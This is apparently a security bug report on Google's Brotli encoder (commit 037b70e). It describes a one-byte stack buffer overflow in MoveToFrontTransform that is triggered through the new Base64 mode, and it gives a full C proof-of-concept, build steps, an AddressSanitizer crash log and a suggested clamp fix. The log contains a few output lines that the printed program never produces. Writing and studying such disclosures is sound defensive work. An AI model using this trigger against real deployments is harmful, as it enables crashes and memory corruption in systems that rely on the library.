Bug 2: Stack buffer overflow in MoveToFrontTransform via unbounded Base64 mode histogram index

[ylwango613]

Name and Version

The libbrotlienc encoder library from the official Google Brotli repository, reached through its public C API.

Version 1.2.0. Git commit 037b70e. This is also the commit that introduced the vulnerable feature.

Built with CMake and Clang using ASan and UBSan instrumentation to make the crash observable. A normal release build has the same bug, it just may not print sanitizer diagnostics before crashing.

git clone https://github.com/google/brotli.git
cd brotli
cmake -S . -B build -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-fsanitize=address,undefined -g -O0" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address,undefined"
cmake --build build -j4

This produces build/libbrotlienc.so and build/libbrotlicommon.so, used below.

Operating systems

Linux. Confirmed on Ubuntu 24.04.2 LTS x86_64. The vulnerable code has no OS specific logic, it is a plain out of bounds array write in portable C, so any platform that can build the encoder library is expected to be affected, including macOS and Windows.

Which modules do you know to be affected?

c/enc/brotli_bit_stream.c, function MoveToFrontTransform, called from EncodeContextMap, called from BrotliStoreMetaBlock. Root cause is in c/enc/metablock.c, functions that build the literal block split and context map when BROTLI_PARAM_BASE64_MODE is enabled.

Problem description & steps to reproduce

Commit 037b70e added BROTLI_PARAM_BASE64_MODE, an opt in encoder parameter that detects base64 looking regions in the input and gives them their own literal histogram. When this feature triggers, c/enc/metablock.c appends one extra literal block type for the base64 region without checking that the resulting histogram or context map index stays below 256. BrotliStoreMetaBlock in c/enc/brotli_bit_stream.c later writes and reads that index into a fixed uint8_t[256] stack array with no bounds check.

In the low quality greedy path, the number of literal block types times the number of literal contexts is never clamped to 256 at all, so this index can be pushed arbitrarily far past the array by feeding the encoder diverse enough literal data.

In practice the crash is observed one call earlier than the write described above. The same oversized value is stored into mb->literal_context_map and consumed by EncodeContextMap, which calls MoveToFrontTransform. That function builds a local uint8_t mtf[256] and initializes it with a loop that runs through the largest value in the context map, for (i = 0; i <= max_value; ++i) mtf[i] = (uint8_t)i;. When max_value reaches 256 this writes mtf[256], one byte past the array. This is the same missing bounds check as described above, just observed at the first place that consumes the oversized value.

Steps to reproduce.

Build the project with ASan and UBSan as shown above. No model file or dictionary file is needed, only the two shared libraries.

Save the program below as poc.c. It builds an input buffer containing a base64 looking region followed by pseudo random UTF8 looking chunks designed to keep the block splitter creating new literal block types until it exceeds the 256 entry cap, then compresses it through the public streaming API with base64 mode turned on.

#include <brotli/encode.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

static size_t build_input(uint8_t** out_buf) {
  size_t num_chunks = 2500;
  size_t chunk_size = 700;
  const char* trigger = ";base64,";
  size_t trigger_len = strlen(trigger);
  size_t base64_run = 512;
  size_t total = trigger_len + base64_run + num_chunks * chunk_size;
  uint8_t* buf = (uint8_t*)malloc(total);
  size_t pos = 0;
  uint32_t rng = 12345;
  size_t i, c;

  memcpy(buf + pos, trigger, trigger_len);
  pos += trigger_len;
  for (i = 0; i < base64_run; ++i) {
    static const char* alphabet =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    rng = rng * 1103515245u + 12345u;
    buf[pos++] = (uint8_t)alphabet[(rng >> 16) % 64];
  }

  for (c = 0; c < num_chunks; ++c) {
    int bias = (int)(c % 8) * 8;
    for (i = 0; i < chunk_size; ++i) {
      rng = rng * 1103515245u + 12345u;
      int low6 = bias + (int)((rng >> 16) % 8);
      if ((i & 1) == 0) {
        buf[pos++] = (uint8_t)(0xC0 | (low6 & 0x3F));
      } else {
        buf[pos++] = (uint8_t)(0x80 | (low6 & 0x3F));
      }
    }
  }

  *out_buf = buf;
  return pos;
}

int main(void) {
  uint8_t* input;
  size_t input_size = build_input(&input);
  size_t out_capacity = input_size + (input_size / 2) + 1024;
  uint8_t* out = (uint8_t*)malloc(out_capacity);
  BrotliEncoderState* state = BrotliEncoderCreateInstance(NULL, NULL, NULL);
  const uint8_t* next_in = input;
  size_t avail_in = input_size;
  uint8_t* next_out = out;
  size_t avail_out = out_capacity;

  BrotliEncoderSetParameter(state, BROTLI_PARAM_QUALITY, 9);
  BrotliEncoderSetParameter(state, BROTLI_PARAM_BASE64_MODE, 1);

  BrotliEncoderCompressStream(state, BROTLI_OPERATION_FINISH,
                               &avail_in, &next_in,
                               &avail_out, &next_out, NULL);

  printf("done, produced %zu bytes\n", out_capacity - avail_out);
  BrotliEncoderDestroyInstance(state);
  free(input);
  free(out);
  return 0;
}

Compile it against the ASan build and run it.

cc -fsanitize=address,undefined -I./c/include -g -O0 -o poc poc.c \
   -L./build -lbrotlienc -lbrotlicommon -Wl,-rpath,./build
timeout 30 ./poc

The process aborts during BrotliEncoderCompressStream, before it returns.

First Bad Commit

037b70e. This is the commit titled "Add an experimental feature to automatically detect Base64 encoded content in the input stream and optimize compression by skipping dictionary and history lookups for these regions. This is controlled by a new parameter BROTLI_PARAM_BASE64_MODE." It is also the current HEAD of the repository at the time of this report, so the bug has been present since the feature was introduced and is not yet fixed.

Relevant log output

[poc] input_size=1754104 quality=9
[poc] SetParameter(BASE64_MODE)=1
[poc] SetParameter(MAX_BASE64_REGIONS)=1
/path/to/brotli/c/enc/brotli_bit_stream.c:607:8: runtime error: index 256 out of bounds for type 'uint8_t [256]'
/path/to/brotli/c/enc/brotli_bit_stream.c:607:12: runtime error: store to address 0x7fa8ea133120 with insufficient space for an object of type 'uint8_t'
=================================================================
==1528972==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fa8ea133120 at pc 0x7fa8ed634f39 bp 0x7ffef8267d60 sp 0x7ffef8267d50
WRITE of size 1 at 0x7fa8ea133120 thread T0
    #0 0x7fa8ed634f38 in MoveToFrontTransform /path/to/brotli/c/enc/brotli_bit_stream.c:607
    #1 0x7fa8ed6360bc in EncodeContextMap /path/to/brotli/c/enc/brotli_bit_stream.c:707
    #2 0x7fa8ed645024 in BrotliStoreMetaBlock /path/to/brotli/c/enc/brotli_bit_stream.c:1003
    #3 0x7fa8ed742a57 in WriteMetaBlockInternal /path/to/brotli/c/enc/encode.c:588
    #4 0x7fa8ed76d7f4 in EncodeData /path/to/brotli/c/enc/encode.c:1186
    #5 0x7fa8ed776d1d in BrotliEncoderCompressStream /path/to/brotli/c/enc/encode.c:1704
    #6 0x581d662501e2 in main poc.c:73

Address 0x7fa8ea133120 is located in stack of thread T0 at offset 288 in frame
    #0 0x7fa8ed634b65 in MoveToFrontTransform /path/to/brotli/c/enc/brotli_bit_stream.c:594

  This frame has 1 object(s):
    [32, 288) 'mtf' (line 596) <== Memory access at offset 288 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow /path/to/brotli/c/enc/brotli_bit_stream.c:607 in MoveToFrontTransform
==1528972==ABORTING
EXIT=1

This exact crash was reproduced deterministically at quality levels 5, 6, 7, 8, and 9 with the same input construction.

Fix

Clamp the computed base64 histogram or context map index to the valid range before it is stored or used, or reject the base64 split entirely once the literal histogram or context count would reach 256. The check already exists for the general histogram count in the high quality clustering path, it needs to also cover the base64 appended entry and the greedy path where no such cap exists at all.

if (mb->literal_histograms_size >= 256) {
  /* Skip forcing a base64 split, or otherwise refuse to add a histogram
     that would push the count to or past the 256 entry limit used by
     is_base64_histogram and MoveToFrontTransform. */
}